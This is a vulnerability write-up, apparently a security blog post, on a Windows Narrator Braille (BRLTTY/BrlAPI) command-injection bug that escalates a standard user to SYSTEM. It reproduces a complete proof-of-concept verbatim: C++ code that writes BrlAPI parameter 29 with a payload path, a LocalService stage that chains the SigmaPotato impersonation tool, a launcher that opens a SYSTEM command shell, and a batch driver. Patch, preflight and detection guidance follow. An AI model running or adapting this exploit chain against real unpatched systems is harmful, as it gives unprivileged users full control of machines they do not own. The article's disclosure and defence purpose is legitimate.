core-jmp core-jmpdeath of core jump

CVE-2026-58635: How the Windows Narrator Braille Bug Escalates a Standard User to SYSTEM

CVE-2026-58635 is a CWE-77 command injection in the Windows Narrator Braille (BRLTTY/BrlAPI) component: a standard user writes globally-writable parameter 29 with an executable path, BRLTTY runs it as LocalService, and SeImpersonatePrivilege enables a Potato-style hop to SYSTEM. This deep dive covers how the PoC works, why it works, affected Windows versions, the fix, and defenses — with the MIT-licensed source reproduced in full.

oxfemale July 17, 2026 22 min read 302 reads
Export PDF
CVE-2026-58635: How the Windows Narrator Braille Bug Escalates a Standard User to SYSTEM
Original text: "CVE-2026-58635: Windows Narrator Braille Local Privilege Escalation" (proof-of-concept)DavidCarliez, GitHub (July 2026), released under the MIT License. Source code, scripts, tables and terminal output below are reproduced verbatim with attribution.

Executive Summary

CVE-2026-58635 is a local privilege-escalation vulnerability in an unlikely place: the Braille accessibility component that ships with Windows Narrator. Microsoft rates it Important, CVSS 3.1 score 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), and classifies it as CWE-77 command injection. Underneath Narrator’s Braille support Windows bundles BRLTTY, the open-source Braille driver, together with its BrlAPI service. A standard, non-administrator user can talk to that service over a loopback socket, write a single writable BrlAPI parameter, and cause the privileged BRLTTY process to launch an executable of the attacker’s choosing.

The publicly released proof-of-concept by DavidCarliez walks the whole chain: a low-privileged user starts the on-demand BrlAPI service, connects with no authentication, writes global parameter 29 (the “literary braille table”) pointing at a payload, and BRLTTY obligingly runs that payload as LocalService. Because that account holds SeImpersonatePrivilege, the demo optionally chains a well-known token-impersonation tool (SigmaPotato) to reach SYSTEM. This article explains what the bug is, how each stage of the PoC works and why, which Windows versions are affected, how Microsoft fixed it, and how to defend — with the original MIT-licensed code reproduced in full.

What CVE-2026-58635 Is

Windows Narrator can drive refreshable braille displays — hardware that raises and lowers physical dots so blind users can read the screen by touch. To support the huge range of such devices, Microsoft does not reinvent the wheel: it ships BRLTTY, the mature open-source braille subsystem, as an optional Windows capability called Accessibility.Braille. BRLTTY includes a small local server, BrlAPI, that lets programs query and configure the braille pipeline through a socket.

A refreshable braille display device
A refreshable braille display — the class of assistive hardware driven by the Windows Narrator Braille / BRLTTY backend at the centre of CVE-2026-58635. Image: Wikimedia Commons.

The vulnerability is a classic confused-deputy command injection. One of BrlAPI’s configuration parameters is meant to name a braille contraction table — a data file that describes how to abbreviate text into grade-2 braille. On Windows, BRLTTY will treat a table path whose extension appears in PATHEXT (for example .exe) as an external contraction program and execute it. The parameter is globally writable by any connected client, so a standard user can point it at an arbitrary executable and have the privileged service run it.

Background: BrlAPI, Parameters, and the BRLTTY Host-Command Launcher

A few moving parts make this exploitable, and they are worth naming precisely:

  • The BrlAPI service. When the Accessibility.Braille capability is installed, Windows registers a BrlAPI service. It is startable on demand and listens on a local endpoint. Critically, the reference configuration accepts auth=none connections from local clients.
  • Global, writable parameters. BrlAPI exposes named parameters. BRLTTY 6.4.1 marks BRLAPI_PARAM_LITERARY_BRAILLE_TABLE — parameter number 29 — as both global (affects the server, not just the caller) and writable by clients.
  • The contraction-table loader. The server passes the supplied string to its table-loading logic. On Windows that logic has a branch which, for a path with a PATHEXT extension, launches it through BRLTTY’s host-command mechanism — i.e. it starts a process.
  • The privileged identity. The service (and therefore the launched process) runs as a Windows service account, not as the low-privileged caller. That is the privilege boundary the bug crosses.

Put together: an unprivileged client writes a global parameter, and a privileged process turns that attacker-controlled string into a new privileged process. No memory corruption, no exotic race — just input that reaches a command sink across a trust boundary.

The Vulnerability in Detail

Parameter 29 and the path-normalization quirk

The only subtlety is a path-format detail. BRLTTY’s Windows build (compiled with MinGW) recognizes an explicit drive path in this code path only when the separators are forward slashes, MinGW-style. So the trigger takes an ordinary Windows path such as C:\lab\bin\localservice_stage.exe and rewrites it to C:/lab/bin/localservice_stage.exe before writing it into parameter 29. Notably, the PoC hardcodes no usernames, drive letters, or install paths — it resolves everything at runtime, which is what makes it portable across machines.

That normalization lives in a tiny helper. Note how it simply swaps backslashes for forward slashes and converts to UTF-8:

std::string utf8_path_for_brltty(std::wstring path) {
  // BRLTTY 6.4.1 on Windows recognizes explicit drive paths in this code path
  // only when separators use the MinGW-style forward-slash form.
  std::replace(path.begin(), path.end(), L'\\', L'/');

  const int required = WideCharToMultiByte(CP_UTF8, 0, path.c_str(), -1,
                                           nullptr, 0, nullptr, nullptr);
  if (required <= 0) {
    return {};
  }

  std::string result(static_cast<size_t>(required), '\0');
  if (!WideCharToMultiByte(CP_UTF8, 0, path.c_str(), -1, result.data(),
                           required, nullptr, nullptr)) {
    return {};
  }
  result.pop_back();
  return result;
}

(Excerpt from brlapi_trigger.cpp; the full file appears below.)

How the Proof-of-Concept Works, Stage by Stage

The end-to-end flow the PoC demonstrates is short and readable:

standard user
  -> starts the locally accessible BrlAPI service
  -> connects to localhost:0 with auth=none
  -> writes global BrlAPI parameter 29 (literary braille table)
  -> BRLTTY interprets an executable path as an external contraction table
  -> BRLTTY launches the supplied program as LocalService
  -> optional SeImpersonate token stage
  -> interactive SYSTEM command prompt

Stage 1 — The trigger: writing parameter 29

brlapi_trigger.exe is the heart of the CVE. It loads the system’s brlapi.dll, opens a connection requesting auth=none to localhost:0, and calls brlapi_setParameter for parameter 29 with the global flag set and the (forward-slashed) payload path as the value. That single write is the privilege-boundary crossing; everything after it is Windows faithfully doing what the parameter says.

#include "path_util.h"

#include <algorithm>
#include <cstdio>
#include <cstring>
#include <string>
#include <vector>

namespace {

constexpr int kLiteraryBrailleTableParameter = 29;
constexpr unsigned int kGlobalParameterFlag = 1;

struct ConnectionSettings {
  const char *auth;
  const char *host;
};

struct BrlapiError {
  int brlerrno;
  int libcerrno;
  int gaierrno;
  const char *errfun;
};

using OpenConnection = int(WINAPI *)(const ConnectionSettings *,
                                     ConnectionSettings *);
using SetParameter = int(WINAPI *)(int, unsigned long long, unsigned int,
                                   const void *, size_t);
using CloseConnection = void(WINAPI *)();
using ErrorLocation = BrlapiError *(WINAPI *)();
using ErrorString = const char *(WINAPI *)(const BrlapiError *);

template <typename Function>
Function load_export(HMODULE library, const char *name) {
  const FARPROC address = GetProcAddress(library, name);
  Function function = nullptr;
  static_assert(sizeof(function) == sizeof(address));
  std::memcpy(&function, &address, sizeof(function));
  return function;
}

std::wstring absolute_path(const wchar_t *input) {
  std::vector<wchar_t> buffer(32768, L'\0');
  const DWORD length = GetFullPathNameW(
      input, static_cast<DWORD>(buffer.size()), buffer.data(), nullptr);
  if (length == 0 || length >= buffer.size()) {
    return {};
  }
  return std::wstring(buffer.data(), length);
}

std::string utf8_path_for_brltty(std::wstring path) {
  // BRLTTY 6.4.1 on Windows recognizes explicit drive paths in this code path
  // only when separators use the MinGW-style forward-slash form.
  std::replace(path.begin(), path.end(), L'\\', L'/');

  const int required = WideCharToMultiByte(CP_UTF8, 0, path.c_str(), -1,
                                           nullptr, 0, nullptr, nullptr);
  if (required <= 0) {
    return {};
  }

  std::string result(static_cast<size_t>(required), '\0');
  if (!WideCharToMultiByte(CP_UTF8, 0, path.c_str(), -1, result.data(),
                           required, nullptr, nullptr)) {
    return {};
  }
  result.pop_back();
  return result;
}

} // namespace

int wmain(int argc, wchar_t **argv) {
  if (argc != 2) {
    std::fwprintf(stderr, L"Usage: brlapi_trigger.exe ABSOLUTE_PAYLOAD_PATH\n");
    return 2;
  }

  const std::wstring payload_path = absolute_path(argv[1]);
  if (payload_path.empty() ||
      GetFileAttributesW(payload_path.c_str()) == INVALID_FILE_ATTRIBUTES) {
    std::fwprintf(stderr, L"Payload does not exist: %ls\n", argv[1]);
    return 3;
  }

  const std::string brltty_payload_path = utf8_path_for_brltty(payload_path);
  if (brltty_payload_path.empty()) {
    std::fwprintf(stderr, L"Unable to convert payload path to UTF-8.\n");
    return 4;
  }

  const std::wstring library_path =
      path_util::join(path_util::system_directory(), L"brlapi.dll");
  HMODULE library = LoadLibraryW(library_path.c_str());
  if (!library) {
    std::fwprintf(stderr, L"LoadLibraryW(%ls) failed: %lu\n",
                  library_path.c_str(), GetLastError());
    return 5;
  }

  const auto open_connection =
      load_export<OpenConnection>(library, "brlapi_openConnection");
  const auto set_parameter =
      load_export<SetParameter>(library, "brlapi_setParameter");
  const auto close_connection =
      load_export<CloseConnection>(library, "brlapi_closeConnection");
  const auto error_location =
      load_export<ErrorLocation>(library, "brlapi_error_location");
  const auto error_string =
      load_export<ErrorString>(library, "brlapi_strerror");

  if (!open_connection || !set_parameter || !close_connection) {
    std::fprintf(stderr, "Required BrlAPI exports are unavailable.\n");
    FreeLibrary(library);
    return 6;
  }

  ConnectionSettings requested = {"none", "localhost:0"};
  ConnectionSettings actual = {};
  const int descriptor = open_connection(&requested, &actual);
  std::printf("Connection: descriptor=%d host=%s auth=%s\n", descriptor,
              actual.host ? actual.host : "", actual.auth ? actual.auth : "");
  if (descriptor < 0) {
    FreeLibrary(library);
    return 7;
  }

  const int result =
      set_parameter(kLiteraryBrailleTableParameter, 0, kGlobalParameterFlag,
                    brltty_payload_path.data(), brltty_payload_path.size());
  std::printf("Parameter %d global write: %d\n", kLiteraryBrailleTableParameter,
              result);

  if (result != 0 && error_location) {
    const BrlapiError *error = error_location();
    std::printf("BrlAPI error: code=%d libc=%d gai=%d function=%s message=%s\n",
                error->brlerrno, error->libcerrno, error->gaierrno,
                error->errfun ? error->errfun : "",
                error_string ? error_string(error) : "");
  }

  close_connection();
  FreeLibrary(library);
  return result == 0 ? 0 : 8;
}

The shared path helpers it relies on — system-directory lookup, quoting, and results-directory creation — are collected in a small header:

#pragma once

#define WIN32_LEAN_AND_MEAN
#include <windows.h>

#include <string>
#include <vector>

namespace path_util {

inline std::wstring module_directory() {
  std::vector<wchar_t> buffer(32768, L'\0');
  const DWORD length = GetModuleFileNameW(nullptr, buffer.data(),
                                          static_cast<DWORD>(buffer.size()));
  if (length == 0 || length >= buffer.size()) {
    return {};
  }

  std::wstring path(buffer.data(), length);
  const std::wstring::size_type separator = path.find_last_of(L"\\/");
  return separator == std::wstring::npos ? std::wstring{}
                                         : path.substr(0, separator);
}

inline std::wstring system_directory() {
  std::vector<wchar_t> buffer(32768, L'\0');
  const UINT length =
      GetSystemDirectoryW(buffer.data(), static_cast<UINT>(buffer.size()));
  if (length == 0 || length >= buffer.size()) {
    return {};
  }
  return std::wstring(buffer.data(), length);
}

inline std::wstring join(const std::wstring &directory,
                         const std::wstring &name) {
  if (directory.empty()) {
    return name;
  }
  if (directory.back() == L'\\' || directory.back() == L'/') {
    return directory + name;
  }
  return directory + L"\\" + name;
}

inline std::wstring quote(const std::wstring &value) {
  return L"\"" + value + L"\"";
}

inline std::vector<wchar_t> mutable_command(const std::wstring &command) {
  std::vector<wchar_t> buffer(command.begin(), command.end());
  buffer.push_back(L'\0');
  return buffer;
}

inline std::wstring results_directory() {
  const std::wstring directory = join(module_directory(), L"results");
  if (!directory.empty()) {
    CreateDirectoryW(directory.c_str(), nullptr);
  }
  return directory;
}

} // namespace path_util

Stage 2 — The LocalService payload

BRLTTY launches the payload as the service account. The PoC’s payload, localservice_stage.exe, first proves its identity by recording its username, SID and PID and dumping whoami /all (so you can see it holds SeImpersonatePrivilege), then — only if the helper binaries are present — optionally invokes the token-impersonation stage. It writes all evidence into a results folder.

#include "path_util.h"

#include <sddl.h>

#include <cstdio>
#include <string>

namespace {

struct ProcessResult {
  bool created = false;
  DWORD error = ERROR_SUCCESS;
  DWORD exit_code = STILL_ACTIVE;
};

bool write_utf8(const std::wstring &path, const std::wstring &content) {
  const int required = WideCharToMultiByte(CP_UTF8, 0, content.c_str(),
                                           static_cast<int>(content.size()),
                                           nullptr, 0, nullptr, nullptr);
  if (required < 0) {
    return false;
  }

  std::string encoded(static_cast<size_t>(required), '\0');
  if (required > 0 &&
      !WideCharToMultiByte(CP_UTF8, 0, content.c_str(),
                           static_cast<int>(content.size()), encoded.data(),
                           required, nullptr, nullptr)) {
    return false;
  }

  HANDLE file = CreateFileW(path.c_str(), GENERIC_WRITE,
                            FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
                            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
  if (file == INVALID_HANDLE_VALUE) {
    return false;
  }

  DWORD written = 0;
  const BOOL ok =
      WriteFile(file, encoded.data(), static_cast<DWORD>(encoded.size()),
                &written, nullptr);
  CloseHandle(file);
  return ok && written == encoded.size();
}

std::wstring current_identity() {
  wchar_t username[256] = L"";
  DWORD username_length = static_cast<DWORD>(std::size(username));
  GetUserNameW(username, &username_length);

  std::wstring sid_text = L"unknown";
  HANDLE token = nullptr;
  if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) {
    DWORD required = 0;
    GetTokenInformation(token, TokenUser, nullptr, 0, &required);
    auto *buffer = new unsigned char[required];
    if (GetTokenInformation(token, TokenUser, buffer, required, &required)) {
      LPWSTR converted_sid = nullptr;
      const auto *token_user = reinterpret_cast<TOKEN_USER *>(buffer);
      if (ConvertSidToStringSidW(token_user->User.Sid, &converted_sid)) {
        sid_text = converted_sid;
        LocalFree(converted_sid);
      }
    }
    delete[] buffer;
    CloseHandle(token);
  }

  wchar_t report[1024] = L"";
  std::swprintf(report, std::size(report),
                L"USER=%ls\r\nSID=%ls\r\nPID=%lu\r\n", username,
                sid_text.c_str(), GetCurrentProcessId());
  return report;
}

ProcessResult run_process(const std::wstring &application,
                          const std::wstring &command_line,
                          const std::wstring &working_directory,
                          const std::wstring &log_path, DWORD timeout_ms) {
  ProcessResult result;
  SECURITY_ATTRIBUTES attributes = {sizeof(attributes), nullptr, TRUE};
  HANDLE log = CreateFileW(log_path.c_str(), GENERIC_WRITE,
                           FILE_SHARE_READ | FILE_SHARE_WRITE, &attributes,
                           CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);

  STARTUPINFOW startup = {};
  startup.cb = sizeof(startup);
  startup.dwFlags = STARTF_USESTDHANDLES;
  startup.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
  startup.hStdOutput = log;
  startup.hStdError = log;

  PROCESS_INFORMATION process = {};
  auto mutable_line = path_util::mutable_command(command_line);
  result.created = CreateProcessW(
      application.empty() ? nullptr : application.c_str(), mutable_line.data(),
      nullptr, nullptr, TRUE, CREATE_NO_WINDOW, nullptr,
      working_directory.c_str(), &startup, &process);
  if (!result.created) {
    result.error = GetLastError();
  } else {
    WaitForSingleObject(process.hProcess, timeout_ms);
    GetExitCodeProcess(process.hProcess, &result.exit_code);
    CloseHandle(process.hThread);
    CloseHandle(process.hProcess);
  }

  if (log != INVALID_HANDLE_VALUE) {
    CloseHandle(log);
  }
  return result;
}

} // namespace

int WINAPI wWinMain(HINSTANCE, HINSTANCE, PWSTR, int) {
  const std::wstring binary_directory = path_util::module_directory();
  const std::wstring results_directory = path_util::results_directory();
  if (binary_directory.empty() || results_directory.empty()) {
    return 1;
  }

  write_utf8(path_util::join(results_directory, L"localservice_identity.txt"),
             current_identity());

  const std::wstring command_shell =
      path_util::join(path_util::system_directory(), L"cmd.exe");
  const std::wstring whoami_output =
      path_util::join(results_directory, L"localservice_whoami.txt");
  const std::wstring whoami_command =
      path_util::quote(command_shell) + L" /d /c whoami /all > " +
      path_util::quote(whoami_output) + L" 2>&1";
  run_process(command_shell, whoami_command, binary_directory,
              path_util::join(results_directory, L"whoami_process.log"), 10000);

  const std::wstring sigma =
      path_util::join(binary_directory, L"SigmaPotato.exe");
  const std::wstring launcher =
      path_util::join(binary_directory, L"system_shell_launcher.exe");
  if (GetFileAttributesW(sigma.c_str()) == INVALID_FILE_ATTRIBUTES ||
      GetFileAttributesW(launcher.c_str()) == INVALID_FILE_ATTRIBUTES) {
    write_utf8(path_util::join(results_directory, L"escalation_status.txt"),
               L"CREATED=0\r\nERROR=Required sibling executable missing\r\n");
    return 0;
  }

  const std::wstring escalation_command =
      path_util::quote(sigma) + L" " + path_util::quote(launcher);
  const ProcessResult escalation =
      run_process(sigma, escalation_command, binary_directory,
                  path_util::join(results_directory, L"escalation.log"), 30000);

  wchar_t status[256] = L"";
  std::swprintf(status, std::size(status),
                L"CREATED=%d\r\nERROR=%lu\r\nEXIT_CODE=%lu\r\n",
                escalation.created ? 1 : 0, escalation.error,
                escalation.exit_code);
  write_utf8(path_util::join(results_directory, L"escalation_status.txt"),
             status);
  return 0;
}

Stage 3 — From LocalService to a visible SYSTEM shell

LocalService holds SeImpersonatePrivilege, the classic ingredient of the “Potato” family of local escalations. The demonstration uses SigmaPotato (a GodPotato derivative, Apache-2.0) to obtain a SYSTEM token, then launches a shell into the interactive console session. The launcher duplicates its token, retargets it at the active console session, and calls CreateProcessAsUserW so a visible CVE-2026-58635 SYSTEM SHELL window appears on the user’s desktop:

#include "path_util.h"

#include <userenv.h>

#include <cstdio>
#include <string>

namespace {

bool write_status(const std::wstring &path, DWORD session_id, bool created,
                  DWORD error) {
  FILE *file = nullptr;
  if (_wfopen_s(&file, path.c_str(), L"w") != 0 || !file) {
    return false;
  }
  std::fwprintf(file, L"SESSION=%lu\nCREATED=%d\nERROR=%lu\n", session_id,
                created ? 1 : 0, error);
  std::fclose(file);
  return true;
}

} // namespace

int wmain() {
  DWORD session_id = WTSGetActiveConsoleSessionId();
  const std::wstring results_directory = path_util::results_directory();
  const std::wstring status_path =
      path_util::join(results_directory, L"system_shell_status.txt");

  HANDLE current_token = nullptr;
  HANDLE primary_token = nullptr;
  DWORD error = ERROR_SUCCESS;
  bool created = false;

  if (!OpenProcessToken(GetCurrentProcess(),
                        TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY |
                            TOKEN_ADJUST_SESSIONID,
                        &current_token)) {
    error = GetLastError();
    goto cleanup;
  }

  if (!DuplicateTokenEx(current_token, MAXIMUM_ALLOWED, nullptr,
                        SecurityImpersonation, TokenPrimary, &primary_token)) {
    error = GetLastError();
    goto cleanup;
  }

  if (!SetTokenInformation(primary_token, TokenSessionId, &session_id,
                           sizeof(session_id))) {
    error = GetLastError();
    goto cleanup;
  }

  {
    const std::wstring system_directory = path_util::system_directory();
    const std::wstring command_shell =
        path_util::join(system_directory, L"cmd.exe");
    const std::wstring command_line = path_util::quote(command_shell) +
                                      L" /k title CVE-2026-58635 SYSTEM SHELL";
    auto mutable_line = path_util::mutable_command(command_line);

    void *environment = nullptr;
    CreateEnvironmentBlock(&environment, primary_token, FALSE);

    STARTUPINFOW startup = {};
    startup.cb = sizeof(startup);
    startup.lpDesktop = const_cast<wchar_t *>(L"winsta0\\default");
    PROCESS_INFORMATION process = {};

    created = CreateProcessAsUserW(
        primary_token, command_shell.c_str(), mutable_line.data(), nullptr,
        nullptr, FALSE, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
        environment, system_directory.c_str(), &startup, &process);
    if (!created) {
      error = GetLastError();
    } else {
      CloseHandle(process.hThread);
      CloseHandle(process.hProcess);
    }

    if (environment) {
      DestroyEnvironmentBlock(environment);
    }
  }

cleanup:
  write_status(status_path, session_id, created, error);
  if (primary_token) {
    CloseHandle(primary_token);
  }
  if (current_token) {
    CloseHandle(current_token);
  }
  return created ? 0 : 1;
}

Driving the whole chain

The standard-user driver script starts the service, runs the trigger, waits for the staged artifacts, and prints them. It is a useful map of the moving parts:

@echo off
setlocal EnableExtensions

set "ROOT=%~dp0.."
for %%I in ("%ROOT%") do set "ROOT=%%~fI"
set "BIN=%ROOT%\bin"
set "RESULTS=%BIN%\results"

cd /d "%ROOT%"
title CVE-2026-58635 manual test

if exist "%RESULTS%" rmdir /s /q "%RESULTS%"
mkdir "%RESULTS%" 2>nul

echo === Current security context ===
whoami
whoami /groups | findstr /i /c:"Mandatory Label" /c:"S-1-5-32-544"
echo.
echo Run this test from an existing standard-user account and a non-elevated prompt.
echo.

if not exist "%SystemRoot%\System32\brlapi.dll" (
    echo [FAIL] brlapi.dll is absent. Run scripts\Prepare-Lab.ps1 elevated first.
    pause
    exit /b 10
)

if not exist "%BIN%\SigmaPotato.exe" (
    echo [FAIL] bin\SigmaPotato.exe is absent.
    echo Run scripts\Get-SigmaPotato.ps1 or copy the verified v1.2.6 binary into bin.
    pause
    exit /b 11
)

echo === Starting BrlAPI from the current user ===
sc.exe start BrlAPI
timeout /t 3 /nobreak >nul
sc.exe query BrlAPI

echo.
echo === Writing global BrlAPI parameter 29 ===
"%BIN%\brlapi_trigger.exe" "%BIN%\localservice_stage.exe"
set "TRIGGER_EXIT=%ERRORLEVEL%"
echo Trigger exit code: %TRIGGER_EXIT%

echo.
echo Waiting for LocalService and SYSTEM stages...
timeout /t 15 /nobreak >nul

echo.
echo === LocalService identity ===
if exist "%RESULTS%\localservice_identity.txt" (
    type "%RESULTS%\localservice_identity.txt"
) else (
    echo [MISSING] localservice_identity.txt
)

if exist "%RESULTS%\localservice_whoami.txt" (
    findstr /i /c:"User Name" /c:"local service" /c:"SeImpersonatePrivilege" "%RESULTS%\localservice_whoami.txt"
)

echo.
echo === SYSTEM escalation ===
if exist "%RESULTS%\escalation.log" type "%RESULTS%\escalation.log"
if exist "%RESULTS%\escalation_status.txt" type "%RESULTS%\escalation_status.txt"
if exist "%RESULTS%\system_shell_status.txt" (
    type "%RESULTS%\system_shell_status.txt"
) else (
    echo [MISSING] system_shell_status.txt
)

echo.
echo Success opens a window titled "CVE-2026-58635 SYSTEM SHELL".
echo Run `whoami` there; the expected result is `nt authority\system`.
pause
exit /b %TRIGGER_EXIT%

On a vulnerable machine the run prints, among other lines:

Connection: descriptor=<number> host=localhost:0 auth=none
Parameter 29 global write: 0
USER=LOCAL SERVICE
SID=S-1-5-19

and, if the optional stage succeeds, a new window titled CVE-2026-58635 SYSTEM SHELL opens in which whoami returns nt authority\system. The PoC records its artifacts in bin\results:

FilePurpose
localservice_identity.txtUsername, SID, and PID of the CVE-launched stage
localservice_whoami.txtFull token groups and privileges
escalation.logOutput from the optional token-impersonation helper
escalation_status.txtHelper process creation/error/exit status
system_shell_status.txtActive-session shell creation result
Evidence files generated by the PoC. Source: original repository.

Why It Works: Root Cause

The root cause is an attacker-controlled value flowing into a command sink across a privilege boundary, with three enabling conditions:

  • Over-permissive parameter (design). A parameter that names a data table is marked globally writable by unauthenticated local clients, yet it can select an executable. Data and code are conflated.
  • Extension-based code execution (CWE-77). The Windows contraction-table loader treats any path with a PATHEXT extension as a program to run through the host-command launcher, rather than validating that it is a legitimate table file.
  • Privilege asymmetry. The launcher runs as a service account (LocalService / Network Service) rather than impersonating the low-privileged caller, so the caller borrows the service’s rights — a textbook confused deputy.

The SeImpersonatePrivilege held by those service accounts then makes the final hop to SYSTEM almost free, because the Potato technique turns that privilege into full impersonation of the most powerful token on the box. In short: a configuration write becomes code execution, and a service-account foothold becomes SYSTEM.

Which Operating Systems Are Affected

The vulnerable surface exists only when the optional Accessibility.Braille capability is installed. Microsoft’s advisory lists multiple Windows client and server branches as affected below their July 2026 fixed revisions. The PoC ships this screening table of build thresholds:

Product branchPotentially affected belowKnown fixed level
Windows 10 1809 / Server 201917763.902017763.9020 or later
Windows 10 21H219044.754819044.7548 or later
Windows 10 22H219045.754819045.7548 or later
Windows Server 202220348.538620348.5386 or later
Windows 11 24H226100.887526100.8875 or later
Windows 11 25H226200.887526200.8875 or later
Windows 11 26H128000.252528000.2525 or later
Build thresholds from the PoC (screening signal, not a substitute for the vendor advisory and component inventory). Source: original repository.

In short, supported Windows 10 and 11 clients and Windows Server 2019/2022/2025 are in scope where the Braille capability is present. Build numbers alone are only a screening signal — confirm against the vendor advisory and the installed-component inventory. Non-Windows systems are not affected by this CVE (though upstream BRLTTY runs on many platforms, this is a Windows-integration issue).

How to Check Your Exposure (Safely)

The repository includes a read-only preflight that never starts BrlAPI, writes parameter 29, or executes a payload. It reports the OS build/revision, the Braille capability state, whether brlapi.dll and brltty.exe are present, the BrlAPI service registration and identity, a comparison against the known fixed revision, and SHA-256 hashes of the installed components:

[CmdletBinding()]
param()

# Read-only preflight: does not start BrlAPI or write a BrlAPI parameter.
$OperatingSystem = Get-CimInstance Win32_OperatingSystem
$Build = [int]$OperatingSystem.BuildNumber
$Revision = [int](Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').UBR
$Capability = Get-WindowsCapability -Online -Name 'Accessibility.Braille*'
$Service = Get-CimInstance Win32_Service -Filter "Name='BrlAPI'" -ErrorAction SilentlyContinue
$BrlapiPath = Join-Path $env:SystemRoot 'System32\brlapi.dll'
$BrlttyPath = Join-Path $env:SystemRoot 'brltty\bin\brltty.exe'

$FixedRevisionByBuild = @{
    17763 = 9020
    19044 = 7548
    19045 = 7548
    20348 = 5386
    26100 = 8875
    26200 = 8875
    28000 = 2525
}

$KnownBranch = $FixedRevisionByBuild.ContainsKey($Build)
$AtFixedRevision = $KnownBranch -and ($Revision -ge $FixedRevisionByBuild[$Build])
$SurfacePresent =
    $Capability.State -eq 'Installed' -and
    (Test-Path $BrlapiPath) -and
    (Test-Path $BrlttyPath) -and
    $null -ne $Service

Write-Host '=== CVE-2026-58635 read-only preflight ==='
[pscustomobject]@{
    OperatingSystem = $OperatingSystem.Caption
    Build = "$Build.$Revision"
    BrailleCapability = $Capability.State
    BrlapiDllPresent = Test-Path $BrlapiPath
    BrlttyExePresent = Test-Path $BrlttyPath
    BrlAPIService = if ($Service) { "$($Service.State) / $($Service.StartName)" } else { 'Absent' }
    KnownBuildBranch = $KnownBranch
    MeetsKnownFixedRevision = $AtFixedRevision
} | Format-List

if (-not $SurfacePresent) {
    Write-Host 'RESULT: The Braille/BRLTTY attack surface is not currently installed or registered.' -ForegroundColor Green
} elseif ($AtFixedRevision) {
    Write-Host 'RESULT: The surface exists, but the OS meets the known July 2026 fixed revision.' -ForegroundColor Green
} elseif ($KnownBranch) {
    Write-Warning 'RESULT: The surface exists and the OS is below the known fixed revision: potentially vulnerable.'
} else {
    Write-Warning 'RESULT: The surface exists, but this OS branch is not in the local threshold table. Consult the Microsoft advisory.'
}

foreach ($Path in @($BrlapiPath, $BrlttyPath)) {
    if (Test-Path $Path) {
        Get-Item $Path | Format-List FullName, Length, LastWriteTime,
            @{Name = 'SHA256'; Expression = { (Get-FileHash $_.FullName -Algorithm SHA256).Hash }}
    }
}

How to Fix It

  • Patch. Install the applicable July 2026 (or later) cumulative update. For Windows 11 24H2 and 25H2 the fixed revisions (26100.8875 and 26200.8875) ship in KB5101650.
  • Remove the attack surface if Braille is unused. If no one on the machine needs braille support, uninstall the optional capability entirely:
Remove-WindowsCapability -Online -Name Accessibility.Braille~~~~0.0.1.0

After remediating, rerun the checker and confirm the system either meets the fixed revision or no longer has the component installed.

Defensive Recommendations

  • Inventory optional accessibility components. Know which endpoints actually have Accessibility.Braille installed; remove it where it is not needed to shrink attack surface.
  • Prioritise the patch on multi-user hosts. Terminal/RDS servers and shared workstations are where a standard-user-to-SYSTEM bug matters most.
  • Hunt for the behavioural chain. Alert on the BrlAPI service being started by a non-admin, on brltty.exe spawning unexpected child processes, and on service accounts (LocalService / Network Service) launching cmd.exe or unknown executables.
  • Watch for Potato-style escalation. Detections for token-impersonation tools (GodPotato/SigmaPotato and kin) and for SeImpersonatePrivilege abuse catch the second half of this chain regardless of the initial vector.
  • Constrain service accounts. Where feasible, reduce what LocalService/Network Service can execute and monitor for CreateProcessAsUser into the interactive session.
  • Keep endpoint protection on. The bundled impersonation helper is widely detected; do not disable AV/EDR to make PoCs run outside an isolated lab.

Key Takeaways

  • CVE-2026-58635 is a CWE-77 command injection in the Windows Narrator Braille (BRLTTY/BrlAPI) component — a local privilege escalation, CVSS 7.8.
  • A standard user writes globally-writable BrlAPI parameter 29 with an executable path; BRLTTY runs it as a service account (LocalService/Network Service).
  • That account’s SeImpersonatePrivilege enables a Potato-style hop to SYSTEM (the PoC uses SigmaPotato).
  • It only affects machines where the optional Accessibility.Braille capability is installed; supported Windows 10/11 and Server 2019/2022/2025 are in scope below the July 2026 fixes.
  • Fix by installing the July 2026 update (KB5101650 for Win11 24H2/25H2) or removing the Braille capability.
  • The lesson is old but evergreen: never let unprivileged, globally-writable configuration choose what a privileged process executes.

Conclusion

CVE-2026-58635 is a reminder that attack surface hides in the features we rarely think about — here, an accessibility subsystem most users never touch. The bug itself is not exotic: it is a configuration value that a privileged process turns into a command, exactly the pattern CWE-77 warns about. What makes it practically dangerous is the surrounding Windows context, where a service-account foothold with SeImpersonatePrivilege is a short walk from SYSTEM. The remediation is refreshingly concrete: patch, or remove the Braille capability where it is not needed — and, on the engineering side, keep data and code strictly separated across privilege boundaries.

Original text: “CVE-2026-58635: Windows Narrator Braille Local Privilege Escalation” proof-of-concept by DavidCarliez on GitHub (MIT License). Source code, scripts and tables reproduced verbatim with attribution.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion